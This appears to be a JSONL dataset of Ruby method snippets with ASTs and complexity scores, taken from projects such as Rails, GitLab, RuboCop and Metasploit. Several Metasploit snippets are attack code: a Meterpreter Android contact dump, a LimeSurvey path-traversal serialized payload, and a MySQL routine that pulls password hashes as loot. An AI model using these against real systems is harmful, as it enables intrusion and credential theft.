+{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/steps_inspector.rb","start_line":192,"raw_source":"def initialize(result)\n @steps = result.__steps__.map { Step.for(_1, result).steps }.flatten\n @result = result\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@steps\",{\"type\":\"send\",\"children\":[{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"__steps__\"]},\"map\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Step\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"_1\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"steps\"]}]},\"flatten\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"324f5636-8d93-4a3e-a190-cba6cbcbfdde"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/date_time/calculations.rb","start_line":51,"raw_source":"def change(options)\n if new_nsec = options[:nsec]\n raise ArgumentError, \"Can't change both :nsec and :usec at the same time: #{options.inspect}\" if options[:usec]\n new_fraction = Rational(new_nsec, 1000000000)\n else\n new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))\n new_fraction = Rational(new_usec, 1000000)\n end\n\n raise ArgumentError, \"argument out of range\" if new_fraction >= 1\n\n ::DateTime.civil(\n options.fetch(:year, year),\n options.fetch(:month, month),\n options.fetch(:day, day),\n options.fetch(:hour, hour),\n options.fetch(:min, options[:hour] ? 0 : min),\n options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec) + new_fraction,\n options.fetch(:offset, offset),\n options.fetch(:start, start)\n )\n end","complexity_score":65.13,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_nsec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nsec\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"usec\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Can't change both :nsec and :usec at the same time: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_fraction\",{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"lvar\",\"children\":[\"new_nsec\"]},{\"type\":\"int\",\"children\":[1000000000]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_usec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"usec\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sec\"]}]}]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"send\",\"children\":[null,\"nsec\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_fraction\",{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"lvar\",\"children\":[\"new_usec\"]},{\"type\":\"int\",\"children\":[1000000]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_fraction\"]},\">=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"argument out of range\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"DateTime\"]},\"civil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"send\",\"children\":[null,\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"send\",\"children\":[null,\"month\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"send\",\"children\":[null,\"day\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"hour\"]},{\"type\":\"send\",\"children\":[null,\"hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hour\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"min\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"sec\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min\"]}]}]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"sec\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"new_fraction\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[null,\"offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[null,\"start\"]}]}]}]}]}","id":"2af46815-96c5-4c04-9965-12a8e5d8b32f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/merge_requests_controller_spec.rb","start_line":622,"raw_source":"def set_auto_merge\n post :merge, params: base_params.merge(sha: merge_request.diff_head_sha, auto_merge_strategy:\n 'merge_when_checks_pass')\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_auto_merge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"merge\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"diff_head_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_merge_strategy\"]},{\"type\":\"str\",\"children\":[\"merge_when_checks_pass\"]}]}]}]}]}]}]}]}","id":"1caee62b-a8f5-4af2-ad36-46bbfc03ce61"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":1329,"raw_source":"def test_dont_clear_inheritance_column_when_setting_explicitly\n k = Class.new(Joke)\n k.inheritance_column = \"my_type\"\n before_inherit = k.inheritance_column\n\n k.reset_column_information\n after_inherit = k.inheritance_column\n\n assert_equal before_inherit, after_inherit unless before_inherit.blank? && after_inherit.blank?\n end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dont_clear_inheritance_column_when_setting_explicitly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Joke\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inheritance_column=\",{\"type\":\"str\",\"children\":[\"my_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"before_inherit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inheritance_column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"after_inherit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inheritance_column\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"before_inherit\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"after_inherit\"]},\"blank?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"before_inherit\"]},{\"type\":\"lvar\",\"children\":[\"after_inherit\"]}]}]}]}]}","id":"d566f4e5-95f8-4891-a214-bc3f9b8cbc7c"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/miq_provision/state_machine_spec_helper.rb","start_line":18,"raw_source":"def test_poll_destination_powered_off_in_provider\n expect(task).to receive(:powered_off_in_provider?).and_return(true, false, false, true)\n test_poll_destination_powered_off_in_provider_no_callback\n test_poll_destination_powered_off_in_provider_with_callback_url\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_poll_destination_powered_off_in_provider\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"task\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"powered_off_in_provider?\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"test_poll_destination_powered_off_in_provider_no_callback\"]},{\"type\":\"send\",\"children\":[null,\"test_poll_destination_powered_off_in_provider_with_callback_url\"]}]}]}","id":"09f69dac-47c3-46ac-8ac8-6166f6a2c27e"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_condition.rb","start_line":181,"raw_source":"def if_branch_is_true_type_and_else_is_not?(node)\n return false unless node.ternary? || node.if?\n\n cond = node.condition\n return false unless cond.call_type?\n return false if !cond.predicate_method? || allowed_method?(cond.method_name)\n\n node.if_branch&.true_type? && node.else_branch && !node.else_branch.true_type?\n end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"if_branch_is_true_type_and_else_is_not?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cond\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"condition\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond\"]},\"call_type?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond\"]},\"predicate_method?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"allowed_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond\"]},\"method_name\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},\"true_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]},\"true_type?\"]},\"!\"]}]}]}]}","id":"a609b44a-b84b-4e7c-9c7c-4773ec69e182"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/android/android.rb","start_line":204,"raw_source":"def dump_contacts\n contacts = []\n request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CONTACTS)\n response = client.send_request(request)\n\n response.each(TLV_TYPE_CONTACT_GROUP) do |p|\n contacts << {\n 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),\n 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),\n 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))\n }\n end\n contacts\n end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_contacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contacts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_ANDROID_DUMP_CONTACTS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"each\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CONTACT_GROUP\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contacts\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CONTACT_NAME\"]}]},\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv_values\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CONTACT_EMAIL\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv_values\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CONTACT_NUMBER\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"contacts\"]}]}]}","id":"a6d148c3-38bb-4aa5-a2d7-2d93437525fe"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":510,"raw_source":"def test_rendering_xml_sets_content_type\n process :hello_xml_world\n assert_equal(\"application/xml; charset=utf-8\", @response.headers[\"Content-Type\"])\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rendering_xml_sets_content_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"hello_xml_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"application/xml; charset=utf-8\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]}]}]}]}","id":"c4e58a73-561a-461a-862d-9da285f49478"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/limesurvey_file_download.rb","start_line":61,"raw_source":"def payload\n traversal = '/..' * traversal_depth\n file = \"#{traversal}#{filepath}\"\n serialized = 'a:1:{i:0;O:16:\"CMultiFileUpload\":1:{s:4:\"file\";s:' + file.length.to_s + ':\"' + file + '\";}}'\n Rex::Text.encode_base64(serialized)\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"traversal\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/..\"]},\"*\",{\"type\":\"send\",\"children\":[null,\"traversal_depth\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traversal\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filepath\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"serialized\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a:1:{i:0;O:16:\\\"CMultiFileUpload\\\":1:{s:4:\\\"file\\\";s:\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"length\"]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\":\\\"\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\";}}\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"serialized\"]}]}]}]}","id":"f6148f1b-eb39-498b-9edb-df59f9726d9a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project.rb","start_line":318,"raw_source":"def has_tags?(tags)\n tags.all? do |tag|\n response = get(request_url(\"#{api_repository_tags_path}/#{tag}\"))\n response.code == HTTP_STATUS_OK\n end\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_tags?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"request_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_repository_tags_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"HTTP_STATUS_OK\"]}]}]}]}]}","id":"5fcba5ed-30c2-4f45-9cb9-e6c160523fad"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/snippet_search_results.rb","start_line":7,"raw_source":"def objects(scope, page: nil, per_page: DEFAULT_PER_PAGE, preload_method: nil)\n paginated_objects(snippet_titles, page, per_page)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"objects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"kwoptarg\",\"children\":[\"page\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"per_page\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_PER_PAGE\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"preload_method\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"paginated_objects\",{\"type\":\"send\",\"children\":[null,\"snippet_titles\"]},{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}","id":"4f3d8234-4b25-45ec-85be-7f0a5e4ce1ec"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/managed_folder_identifier.rb","start_line":38,"raw_source":"def initialize(project_storage)\n @project_storage = project_storage\n @project = project_storage.project\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_storage\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_storage\",{\"type\":\"lvar\",\"children\":[\"project_storage\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_storage\"]},\"project\"]}]}]}]}","id":"58c755df-56aa-4a7f-b88a-f026f733c81d"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/file.rb","start_line":247,"raw_source":"def writable?(path)\n verification_token = Rex::Text.rand_text_alpha_upper(8)\n if session.type == 'powershell' && file?(path)\n return cmd_exec(\"$a=[System.IO.File]::OpenWrite('#{path}');if($?){echo #{verification_token}};$a.Close()\").include?(verification_token)\n end\n raise \"`writable?' method does not support Windows systems\" if session.platform == 'windows'\n\n cmd_exec(\"(test -w '#{path}' || test -O '#{path}') && echo true\").to_s.include? 'true'\n end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"writable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verification_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"powershell\"]}]},{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$a=[System.IO.File]::OpenWrite('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"');if($?){echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verification_token\"]}]},{\"type\":\"str\",\"children\":[\"};$a.Close()\"]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"verification_token\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"`writable?' method does not support Windows systems\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(test -w '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"' || test -O '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"') && echo true\"]}]}]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}","id":"ce88feb3-d6a7-496b-ba73-557d94cc2634"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ntlm/message.rb","start_line":117,"raw_source":"def security_buffers\n @alist.find_all{|n, f| f.instance_of?(BASE::SecurityBuffer)}\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"security_buffers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@alist\"]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]},{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BASE\"]},\"SecurityBuffer\"]}]}]}]}","id":"1e383969-c41f-4e50-b373-f675df316674"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/controllers/account_controller_spec.rb","start_line":42,"raw_source":"def user_first_login(context)\n @first_login_user = context[:user]\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"user_first_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@first_login_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}","id":"5e991bcb-9514-4abf-8d15-8ac747b2cd8f"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb","start_line":164,"raw_source":"def dump_hashes(host, port)\n # Grabs the username and password hashes and stores them as loot\n res = mysql_query(\"SELECT user,password from mysql.user\")\n if res.nil?\n print_error(\"#{host}:#{port} There was an error reading the MySQL User Table\")\n return\n\n end\n\n # Create a table to store data\n tbl = Rex::Text::Table.new(\n 'Header' => 'MysQL Server Hashes',\n 'Indent' => 1,\n 'Columns' => ['Username', 'Hash']\n )\n\n if res.size > 0\n res.each do |row|\n next unless (row[0].to_s + row[1].to_s).length > 0\n\n tbl << [row[0], row[1]]\n print_good(\"#{host}:#{port} Saving HashString as Loot: #{row[0]}:#{row[1]}\")\n end\n end\n\n this_service = nil\n if framework.db and framework.db.active\n this_service = report_service(\n :host => host,\n :port => port,\n :name => 'mysql',\n :proto => 'tcp'\n )\n end\n\n 